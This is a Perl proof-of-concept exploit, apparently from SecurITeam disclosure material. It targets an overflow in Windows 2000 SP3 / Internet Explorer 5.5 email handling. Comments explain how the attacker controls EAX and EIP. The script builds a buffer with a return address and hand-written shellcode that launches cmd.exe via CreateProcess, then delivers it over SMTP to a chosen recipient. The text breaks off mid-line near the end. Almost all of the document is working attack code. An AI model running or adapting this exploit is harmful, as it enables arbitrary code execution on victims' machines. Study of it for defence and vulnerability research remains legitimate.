# (The exploit code will not work straight out of the "box") # Noam Rathaus - Beyond Security Ltd.'s SecurITeam # Note the certificate is a valid one for noamr@beyondsecurity.com issued by Thawe. # Message (buffer) starts at 0006F578 (circa) # Message (buffer) ends at 0006F94C (circa) # The problem lies here: # # 5F26F339 mov ebx,dword ptr [eax] # . # . # 5F26F354 call dword ptr [ebx+10h] # . # . # Now since we control the EAX, but we can't provide it with NULLs, we must find somewhere in the # kernel memory a place that has the following number (of our buffer), for example: # # We found 00 06 F5 A4 at 5F1835C7 # # Windows 2000 SP3 Internet Explorer 5.5 # # So our 5F1835C7 is placed in EAX, which has this memory content 0006F5A4 # Causing our MOV to place in EBX the the following content 00 06 F5 A4. # The final EIP call goes out to 0006F5B4, this is where our arbitrary code lies. # use Getopt::Std; use IO::Socket::INET; use MIME::Base64; getopt('tfhi'); if (!$opt_f || !$opt_t || !$opt_h) { print "Usage: malformed_email.pl <-t to> <-f from> <-h smtphost> <-i start number>\r\nstart size should be bigger than 100\r\n"; exit; } # 1234567890123456789012345612345678901234567890123456 $buffer = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"x11; # 584 $buffer = join ('', $buffer, "123456789012"); #$addr = "\x34\xF3\x26\x5F"; #$addr = "\xC7\x35\x18\x5F"; # points to 0006F5A4 $addr = "\x9F\x37\xD4\x77"; # points to 0006F3C0 $buffer = join ('', $buffer, $addr); # used by the mov EBX, [EAX] # 6 lines = 6*26 # This is to place our code in the right place # + 8 = 164 # Calculation done accordigly. # + 10h = 16 + 164 = 180 $buffer = join ('', $buffer, "A"x180); # We move our buffer to the right place. #$buffer = join ('', $buffer, "\xC3\xAF\x01\x78"); # address of cmd.exe (This will just run CMD.exe, #$buffer = join ('', $buffer, "A"x$opt_i); # but will get stuck) # A lot neater shellcode for cmd.exe $buffer = join ('', $buffer, "\x55"); # push ebp $buffer = join ('', $buffer, "\x54"); # push esp $buffer = join ('', $buffer, "\x5D"); # pop ebp $buffer = join ('', $buffer, "\x33\xFF"); # xor edi,edi $buffer = join ('', $buffer, "\x57"); # push edi $buffer = join ('', $buffer, "\xC6\x45\xFC\x63"); # mov byte ptr [ebp-04h],'c' $buffer = join ('', $buffer, "\xC6\x45\xFD\x6D"); # mov byte ptr [ebp-03h],'m' $buffer = join ('', $buffer, "\xC6\x45\xFE\x64"); # mov byte ptr [ebp-02h],'d' $buffer = join ('', $buffer, "\x57"); # push edi $buffer = join ('', $buffer, "\xC6\x45\xF8\x03"); # mov byte ptr[ebp-08h],3 ;Max window $buffer = join ('', $buffer, "\x8D\x45\xFC"); # lea eax,[ebp-4h] $buffer = join ('', $buffer, "\x50"); # push eax $buffer = join ('', $buffer, "\xB8\x7E\x68\x4C\x67"); # mov eax,7E684C67h ;CreateProcess@77E684C6h $buffer = join ('', $buffer, "\xC1\xC8\x04"); # ror eax, 4 $buffer = join ('', $buffer, "\xFF\xD0"); # call eax $buffer = join ('', $buffer, "\xB8\x7E\xB8\x54\xB7"); # mov eax,7EB854B7h ;FatalExit@77EB854Bh $buffer = join ('', $buffer, "\xC1\xC8\x04"); # ror eax, 4 $buffer = join ('', $buffer, "\xFF\xD0"); # call eax $buffer = join ('', $buffer, "A"x$opt_i); $sock = IO::Socket::INET->new(PeerAddr => "$opt_h",PeerPort => '25', Proto => 'tcp'); unless (<$sock> =~ "220") { die "Not a SMTP Server?" } print "Connected\r\n"; print $sock "HELO you\r\n"; unless (<$sock> =~ "250") { die "HELO failed" } print "MAIL FROM: $opt_f\r\n"; print $sock "MAIL FROM: $opt_f\r\n"; sleep(1); unless (<$sock> =~ "250") { die "MAIL FROM failed" } print "RCPT TO: $opt_t\r\n"; print $sock "RCPT TO: $opt_t\r\n"; sleep(1); unless (<$sock> =~ "250") { print $sock "RCPT TO: <$opt_t>\r\n"; unless (<$sock> =~ "250") { die "RCPT TO failed" } } print $sock "DATA\r\n"; unless (<$sock> =~ "354") { die "DATA failed" } sleep(1); $lengthy = length($buffer); print "Test #$temp, [$buffer], ", length($buffer), "\n"; print $sock <